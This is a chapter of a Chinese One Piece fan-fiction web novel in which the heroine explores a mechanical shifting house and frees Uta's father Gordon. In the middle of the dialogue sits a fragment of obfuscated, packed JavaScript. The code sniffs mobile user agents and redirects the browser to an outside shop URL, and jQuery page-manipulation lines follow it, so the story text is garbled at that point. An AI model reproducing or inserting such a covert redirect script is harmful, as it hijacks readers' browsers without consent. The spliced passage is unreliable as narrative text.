57.陌生岛屿(13)

作品:《从零开始的冒险日志

    棕色的大鸟舒展羽翼,飞过巨兽们的头顶,保持着既能吸引到巨兽又不会被一口吃掉的距离,它像是在给这些野兽们展示新鲜的饵料,年幼的孩子半个身子暴露在毫无防护的高空外。


    黑发被风吹起凌乱的弧度。


    越来越多的巨兽们聚集,有一些扎进了对大猫兽和长毛巨兽的围殴中,而有一些则被头顶吸引,它们高仰头颅,无不觊觎着即将投下的饵料。


    哪怕它看起来连给它们塞牙缝都不够。


    有惊无险的穿过巨兽们胡乱踩下的利爪,奥拉才发现,它们皆都有分寸的远离了中间的建筑。


    建筑周围自然而然的形成了个真空带。


    头顶的大鸟飞向建筑的顶端,身形被挡住。连带着那可怜幼童的身躯也消失在视野中。


    她收回视线,不可避免的在眼前的房屋前停留,这座建筑完全不能用寻常的风格来描述。


    它很怪。


    奥拉觉得她应该出现在艺术品的展览馆里。每一层都有不同的建筑风格,哥特式的古堡、常见的瓦房、被泡泡笼罩在内的特殊风格、她甚至看到了埃尔维斯那华丽的宝石风格......它的墙面或是凸起或是凹陷,有的坑坑洼洼、有的平整整洁。这些不同皆都被人简单粗暴的拼接在一起,笼统的称作是一座房子。


    它的墙体四四方方,像是个大盒子。在不同方向的墙面上挂着巨大的齿轮,以不同的速度旋转着。


    看到它们,奥拉忽然想起了她之前在那只假海王类身体里捡到的齿轮,不能说它们毫不相干,只能说是一模一样。


    这座房子看起来可不太妙。


    奥拉刚想叫停艾斯在观察一下看看。


    谁知这小子压根没有反应,听到奥拉的声音只偏头向后看了一眼,便义无反顾的推门跑了进去。


    奥拉没有办法,更不能放任艾斯自己去闯。


    无奈,她把背上昏睡的米琳向上颠了颠,任命的跟了进去。


    明明不过是前后脚的功夫,进门后她却连艾斯的影子都没见到。


    那孩子跑的未免太快了些。


    奥拉知得沿着楼梯向上追,可当她踏上阶梯的瞬间整座房子像是突然‘活’了过来。近在眼前的二楼开始升高,她助跑几步高高跃起,却被从旁侧伸出来的墙壁彻底拦住。


    她单手伏地稳住身体,地面的瓷砖映出她的倒影。还没等她缓口气,她脚下那四四方方的瓷砖竟没有任何预兆的冲上天花板,在即将被挤扁的间隙中,奥拉把米琳推出去,自己借力往反方向跳,堪堪躲了过去。


    落下时,她看到了瓷砖之下——这根柱子上同样挂着一个齿轮。


    可她根本来不及细想,位于她身下的瓷砖迅速的瓦解掉落,而在这些瓷砖之下,是黑洞洞的一片。


    跑不掉了!


    “米琳!快醒醒!”


    在掉下去的同时,她尽力朝着砸落在地的金发同伴呼喊。


    可直到她彻底陷入了黑暗之中,也没有得到回答。


    咚——


    她摔落在地。


    冷硬的石板接住了她的身体。


    烛火冷不丁的亮起。


    奥拉急忙仰头看去,上面已经不见瓷砖。同样的,一个齿轮占据了灯的位置,正在缓缓转动。


    而这里的布置充满了和风的味道。


    海贼王里有这样风格的估计只有一个国家吧。


    和之国。


    奥拉脑子里蹦出这个名字。


    她静静等待,房间没有继续发生变化。沉默的烛火、干净的屋子,那么平常。唯有那异常的齿轮能证明这一切不是光怪陆离的梦境。


    奥拉起身,拉开大门。


    屋外是与刚进来时如出一辙的楼梯,向上盘旋没有尽头,向下通往黑暗一样像是无穷无尽。完全无法判断现在是在第几层。


    奥拉只能再度朝上寻找。


    而上去后,她却被卡在了楼梯上。


    只载着她这一段的楼梯,头尾断开,横向移动将她带到某个楼层中。


    奥拉站在这阶断层的楼梯上半天没动,她这算不算霍格沃茨一日游。


    那个疑似同类穿越者的家伙莫非还是个巫师吗?


    毕竟把房子建成这样,就算是主人一天也都得迷路八百回吧。


    她已无路可走,只能走入这个楼层。


    两扇门映入眼帘。


    一扇门上用蓝油漆写着生,另外一扇用红油漆写着死。


    很明显,生与死,只能选择一个。


    看来这个房屋的主人还喜欢玩一些考验人的游戏。


    奥拉思索了片刻,走向生。


    一拳捶在门框上,掰开断裂的地方,动手把门拆了。


    把带刺的门框木棍拿在手中,她安心了些。紧接着一脚踹开了掉下半截的大门。


    什么都没发生,也看不清生之门里面是什么。


    她弯腰捡起门板,朝着断裂处猛踹几脚,很快得到了一块能护住从胸口到大腿的盾牌。


    她抓着门把手用盾牌挡住自己,接着去踹死门。


    “卡卡卡”


    几把银箭穿梭而来,被阻挡在盾牌之外。


    不过,除了这几把箭外,死门里面似乎和生门没有区别。


    奥拉驻足一会儿,才踏步进入了死门。


    她的理由很简单,唯有死门设置了武器,看上去只是完成选择死门之人的心愿,送她们去死。但也有可能是在掩藏某物。


    这样如果开门被箭射死里面的东西会受到保护,就算没有被箭射死,也会忌惮里面是否还藏着其他机关,让人望而却步,转头选择生门。


    若是真的走了另一道门,或许才会真正遇到麻烦。


    这一路上,奥拉没再触发任何机关走的十分顺畅。


    忽然,她停下,嗅了嗅空气。当即,她举起木棍护在身前,往前的步伐放慢。


    空气中弥漫着股血腥味。


    离得越近,便越浓烈。


    奥拉进入了某个房间,味道已经到了刺鼻的地步。她眉头紧锁,从木盾牌后露出半张脸,小心的观察着。


    突然,金属碰撞的声音在她耳边骤响。


    奥拉几乎要跳起来,转过身体指向声音发出的地方。


    “什么……人?”


    眼前一个秃顶的男人垂着头,听到动静,抬起了眼睛。他的双手被枷锁束缚,固定在左右两面墙壁,他被迫张开双手,双脚上也带着脚镣。


    他的腹部猩红一片,血腥味正是从他这里传出的。


    奥拉总觉得他有些眼熟,而是名字到了嘴边又叫不出来。


    但他被锁在这里绝对不对劲。


    敌人的敌人就是朋友,奥拉暂时放下了警惕。


    她靠近了些,把问题复述了遍:“你是什么人?”


    “你是……海军吗?”男人很虚弱,说话时气息短促,像是下一秒就会断气般。


    奥拉有些含糊。


    “啊……反正我不是坏人。”


    “……”男人低低的喘息,没说信也没说不信。半响,他盯着奥拉,身体往前靠了靠,锁链被拉扯着撞出声响。“是吗……那拜托你救救我的女儿。”


    “……她在哪?”


    这次男人沉默的时间更长了,长到奥拉都要以为他昏过去了,他才缓缓开口:“我不知道……”


    奥拉耐着性子追问。


    “那她长什么样子?”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322769|193660||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“红色的头发,有一半是白色……”


    那种诡异的熟悉感又来了,奥拉怔住,没有继续问。而这个被锁住的男人却未曾停下。


    “她的名字叫做乌塔。”


    “能不能拜托你,找到她后,带她离开这里……”


    乌塔?


    那个路飞的幼年同伴、红发香克斯的女儿、差点带着世界将近一半人口沉眠的那个红发歌姬乌塔吗?


    又是路飞、艾斯,现在又到了乌塔。


    幕后的那个人究竟要做什么啊!


    “不行吗……?”


    或许是奥拉始终没有答复,在锁链哗哗的响动中,男人有些激动。他胸脯剧烈起伏,破碎的墨镜遮挡住了他的眼睛,却这挡不住他那份担忧的心。


    “...是谁把你们抓起来的?”奥拉问着,扫了眼枷锁,仅靠她手上的木头想要破坏是不可能的了。


    可惜她身上也没有刀。


    “我...不知道她是谁...”


    “...听声音大概是个女人,带着副黑面具看不清脸。”


    “她应该是个恶魔果实能力者...被她碰到后,我就控制不了自己的身体了...”


    “她来的时候,还有...只很大的野兽跟在身边...”


    男人磕磕绊绊的讲述着自己所知道的一切,搜肠刮肚的想要为自己的女儿添上一丝可能获救的筹码。哪怕他也无法断定眼前之人究竟是好是坏。可他知道自己身上的枷锁一时半会无法打开,逃走的概率几乎为零。


    但那个孩子还小,她是要活下去的。


    就算是为了利用,如果能让她得救的话...


    男人在做最后的权衡,与自己的理智作斗争。最后还是想要那孩子活下去的心情占据了主导,他深深垂下头,一个字一个字的挤出牙缝。


    “她...她还拿走了...”


    “嗵——!”


    “你...你在做什么?”


    男人茫然的回头。


    奥拉站在烟雾中,随手挥散灰尘。她单手持着木棍,闻言意有所指的看了看男人的腿。


    “大叔,能站起来吗?”见男人还愣在原地,她有些虚的干笑两声,“我没带刀,没办法帮你打开枷锁。不过,这种程度的话,应该可以自由行动吧?”


    男人看向她身后,才发现用来固定枷锁的墙壁被她用木棍捅的稀巴烂,完全失去了桎梏的作用。


    只要他还有力气站起来,拖着枷锁和锁链走,离开这里并不难。


    男人没想到事情居然是这样发展的,他沉默了会儿,扶着双膝颤颤巍巍的站直了身体。


    奥拉从上到下把他打量了遍,点点头。


    “抱歉啊,我刚刚没说清楚。”她挠挠头,把手中木棍和木遁塞到男人手中,“我是海贼,不爱救人,不要强人所难,建议你活下去自己去救你女儿。”


    路过男人时,奥拉郑重的拍了拍他的肩膀,还特地告知了这栋房子的诡异之处。


    男人完全无法理解这个人的行为,但也无法阻止她的离开。


    他踌躇着,走到门口的奥拉忽地停下脚步。


    “大叔,你叫什么名字?”


    她似乎只是随口一问,男人没有多想,应声道:“我是戈登,是艾蕾吉亚的前国王。”


    奥拉猛吸一口气缓缓吐出,不再多做停留。


    “...我是奥拉。”


    “你说的女孩我有印象,好像在外面见过,你想办法出去看看吧。”


    奥拉也不想骗他,但她现在实在分不出更多的精力保护他,只能祈祷他能顺利的逃出这里了。


    至于武器和防具?


    奥拉准备去把另一扇门也拆了。